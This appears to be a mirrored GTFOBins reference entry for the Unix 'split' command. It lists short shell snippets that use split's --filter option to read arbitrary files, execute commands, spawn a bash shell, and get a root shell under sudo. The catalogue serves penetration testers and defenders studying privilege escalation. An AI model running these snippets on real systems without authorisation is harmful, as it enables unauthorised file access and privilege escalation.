1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00
GTFOBins.github.io/_gtfobins/split.md

28 lines
595 B
Markdown
Raw Normal View History

2020-11-13 11:59:14 +01:00
---
functions:
file-read:
- code: |
LFILE=file_to_read
TF=$(mktemp)
split $LFILE $TF
cat $TF*
command:
- description: Command execution using an existing or new created file.
- code: |
COMMAND=id
TF=$(mktemp)
split --filter=$COMMAND $TF
- description: Command execution using stdin (and close it directly).
code: |
COMMAND=id
echo | split --filter=$COMMAND /dev/stdin
shell:
- code: |
split --filter=bash /dev/stdin
sudo:
- code: |
split --filter=bash /dev/stdin
---